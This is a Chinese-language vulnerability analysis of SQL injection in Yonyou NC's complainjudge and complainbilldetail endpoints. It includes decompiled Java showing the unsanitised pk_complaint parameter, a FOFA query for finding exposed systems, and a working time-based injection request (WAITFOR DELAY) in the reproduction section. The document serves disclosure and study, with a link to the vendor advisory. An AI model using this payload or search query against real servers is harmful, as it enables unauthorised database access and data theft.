漏洞简介
用友NC系统可利用 /ebvp/advorappcoll/complainbilldetail 和 complainjudge 接口的pk_complaint参数实现sql注入,从而窃取服务器的敏感信息。
影响版本
NC633、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告可知SQL注入点在 advorappcoll 下的complainbilldetail和complainjudge接口

因此直接搜索 advorappcoll 下的 complainbilldetail 或者 complainjudge 方法定义即可找到对应的实现逻辑
package nc.bs.ebvp.adviceorappeal;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.ebvp.adviceorappeal.form.ComplFormVoUtils;
import nc.bs.ebvp.adviceorappeal.form.ComplaintForm;
import nc.bs.ebvp.adviceorappeal.form.QryConditionComplForm;
import nc.bs.ebvppub.ebvpservicefactory.NCLocatorFactory;
import nc.bs.ebvppub.pubcoll.DefaultEbvpPubController;
import nc.bs.ebvppub.tools.DefualtPageBarInfo;
import nc.bs.ebvppub.tools.LoginContext;
import nc.itf.ebvp.adviceorappeal.service.IAppealQueryService;
import nc.itf.ebvp.adviceorappeal.service.IAppealService;
import nc.vo.ebvp.adviceorappeal.pojo.AggComplaintPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintBasePagePOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintPortalReplyPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintTypeViewPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.QryConditionComplPOJO;
import nc.vo.ecpubapp.pattern.data.DefaultPageInfo;
import nc.vo.ecpubapp.tools.ReturnObject;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFDate;
import nc.vo.sm.UserVO;
import org.apache.commons.lang.StringUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class AppealrespController extends DefaultEbvpPubController {
public AppealrespController() {
}
private IAppealService getAppealService() {
return (IAppealService)NCLocatorFactory.getInstance().getEbvpNCLocator().lookup(IAppealService.class);
}
private IAppealQueryService getAppealQueryService() {
return (IAppealQueryService)NCLocatorFactory.getInstance().getEbvpNCLocator().lookup(IAppealQueryService.class);
}
@ResponseBody
@RequestMapping(
value = {"/complainjudge"},
method = {RequestMethod.POST}
)
public String complainjudge(HttpServletRequest request, HttpServletResponse response) throws Exception {
String pk = request.getParameter("pk_complaint");
Integer judgeNum = this.getAppealQueryService().judgeComplaintByPk(pk);
return judgeNum == null ? "" : judgeNum.toString();
}
@RequestMapping(
value = {"/complainbilldetail"},
method = {RequestMethod.GET}
)
public String complaindetail(HttpServletRequest request, HttpServletResponse response) throws Exception {
request.setAttribute("help_html", "TSXY.html");
String pk = request.getParameter("pk_complaint");
String qryorresp = request.getParameter("s");
int cpltType = 0;
String complainoradvis = request.getParameter("complainoradvis");
String forWard = "purother/appealresp/appealdetail";
AggComplaintPOJO aggComplaintPOJO = this.getAppealQueryService().queryComplaintVOByPk(pk, qryorresp);
if (null != aggComplaintPOJO) {
ComplaintPOJO complaintVO = (ComplaintPOJO)aggComplaintPOJO.getParentVO();
cpltType = Integer.parseInt(complaintVO.getFcplttype());
}
if (0 == cpltType || 1 == cpltType) {
int cpltTypeorlook = 0;
if (null != complainoradvis) {
cpltTypeorlook = Integer.parseInt(complainoradvis);
}
if (0 == cpltType) {
request.setAttribute("help_html", "JYXY.html");
if (0 == cpltTypeorlook) {
forWard = "purother/adviceresp/advicedetail";
} else {
forWard = "purother/adviceresp/advicelook";
}
}
if (1 == cpltType) {
request.setAttribute("help_html", "TSXY.html");
if (0 == cpltTypeorlook) {
forWard = "purother/appealresp/appealdetail";
} else {
forWard = "purother/appealresp/appeallook";
}
}
}
if (null != aggComplaintPOJO) {
this.aggappeal2Form(request, aggComplaintPOJO);
}
return forWard;
}
进入 getComplaintService().queryComplaintVOByPk 函数后再代入 queryComplaintVOByPk 函数查询
public AggComplaintVO queryComplaintVOByPk(String pk) throws BusinessException {
if (null != pk && !pk.trim().equals("")) {
BillQuery<AggComplaintVO> bQu = new BillQuery(AggComplaintVO.class);
AggComplaintVO[] retVO = (AggComplaintVO[])bQu.query(new String[]{pk});
return SRMBaseUtil.isArrayElementsNull(retVO) ? null : retVO[0];
} else {
return null;
}
}
bQu.query 实现如下,主要是组装SQL语句
public E[] query(String[] keys) {
if (keys.length == 0) {
return (E[])(Constructor.construct(this.billClass, 0));
} else {
TimeLog.logStart();
TableIDQueryCondition conditionBuilder = new TableIDQueryCondition(keys);
TimeLog.info("构造查询条件");
TimeLog.logStart();
IVOMeta parent = this.billMeta.getParent();
Class<? extends ISuperVO> parentClass = this.billMeta.getVOClass(parent);
ISuperVO[] vos = this.query(parentClass, parent.getPrimaryAttribute(), conditionBuilder);
this.composite.append(parent, vos);
TimeLog.info("查询表头VO");
TimeLog.logStart();
this.queryChild(vos, conditionBuilder, parent.getPrimaryAttribute());
TimeLog.info("查询表体VO");
TimeLog.logStart();
E[] bills = this.composite.composite();
E[] returnbills = this.setLoadedFlag(keys, bills);
TimeLog.info("组织为单据VO");
return returnbills;
}
}
最终直接也调用 executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。
漏洞复现
漏洞利用只能是post,需要注意,可参考上面的漏洞分析部分。
POST /ebvp/advorappcoll/complainjudge HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: nc.mrxn.net
pageId=login&pk_complaint=1';WAITFOR DELAY'0:0:5'--

参考
https://security.yonyou.com/#/noticeInfo?id=585


但是我用complainbilldetail;a.js?pk_complaint=1';WAITFOR DELAY '0:0:5'--
调试的时候,是能接收到complainbilldetail参数的,但是sql语句没起作用,并没有达到延时的效果。